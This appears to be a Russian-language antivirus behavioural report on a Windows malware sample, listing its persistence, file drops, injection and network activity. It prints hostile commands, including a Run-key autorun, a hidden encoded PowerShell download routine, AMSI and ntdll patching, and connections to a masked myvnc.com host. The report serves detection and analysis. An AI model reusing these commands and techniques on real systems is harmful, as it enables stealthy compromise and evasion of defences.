Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] '<Имя файла>' = '<Полный путь к файлу>'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WinSvcHelper' = '"<SYSTEM32>\conhost.exe" --headless -- "<SYSTEM32>\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -EncodedCommand ...
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\windowssystemservice
Вредоносные функции
Загружает файлы и запускает на исполнение.
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework64\v4.0.30319\msbuild.exe
Патчит код
в динамической библиотеке AMSI
- Процесс explorer.exe, модуль Amsi.dll
в динамической библиотеке NTDLL
- Процесс explorer.exe, модуль ntdll.dll
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\content\2180-3900-<Имя файла>.exe-21-25-03-005.dump
- %TEMP%\iaqhvb.exe
- %TEMP%\czdjec.exe
- %TEMP%\onbhvk.exe
- %TEMP%\ngrmyv.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\onbhvk.exe.log
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\czdjec.exe.log
- %APPDATA%\microsoft\windows\templates\windowsdefender483ef1\csrss483ef1.png
- %APPDATA%\microsoft\windows\templates\windowsdefender483ef1\taskhost483ef1.exe
- %APPDATA%\microsoft\windows\templates\windowsdefender483ef1\wuauclt483ef1.xml
- nul
- %TEMP%\brpd5ljf\brpd5ljf.0.cs
- %TEMP%\brpd5ljf\brpd5ljf.cmdline
- %TEMP%\brpd5ljf\brpd5ljf.out
Удаляет файлы, которые сам же создал
- %TEMP%\brpd5ljf\brpd5ljf.out
- %TEMP%\brpd5ljf\brpd5ljf.cmdline
- %TEMP%\brpd5ljf\brpd5ljf.0.cs
Сетевая активность
Подключается к
- 'la####1.myvnc.com':443
TCP
Другие
- 'la####1.myvnc.com':443
UDP
- DNS ASK la####1.myvnc.com
Другое
Создает и запускает на исполнение
- '%TEMP%\iaqhvb.exe'
- '%TEMP%\czdjec.exe'
- '%TEMP%\onbhvk.exe'
- '%TEMP%\ngrmyv.exe'
- '%APPDATA%\microsoft\windows\templates\windowsdefender483ef1\taskhost483ef1.exe'
Запускает на исполнение
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\msbuild.exe' %APPDATA%\Microsoft\Windows\Templates\WindowsDefender483ef1\wuauclt483ef1.xml
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command -
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\brpd5ljf\brpd5ljf.cmdline" (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES26B9.tmp" "%TEMP%\brpd5ljf\CSC42C5EE91638E45EEB59384D8C6567CCB.TMP" (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\gr5oe3xv\gr5oe3xv.cmdline" (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES30EA.tmp" "%TEMP%\gr5oe3xv\CSC4F1C6B76594544DB9F7127594F6B6643.TMP" (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\qh3ow0mc\qh3ow0mc.cmdline" (со скрытым окном)
- '<SYSTEM32>\conhost.exe' --headless -- "<SYSTEM32>\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -EncodedCommand dAByAHkAewAkAHcAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwA9ACQA...
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4AAC.tmp" "%TEMP%\qh3ow0mc\CSCDE12C51FE28C4B378C3C821ADFBD8F26.TMP" (со скрытым окном)
- '%WINDIR%\explorer.exe'
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\xpni5ftn\xpni5ftn.cmdline" (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5654.tmp" "%TEMP%\xpni5ftn\CSC6A7ECB464A4E4E55BA292A4A90E674.TMP" (со скрытым окном)
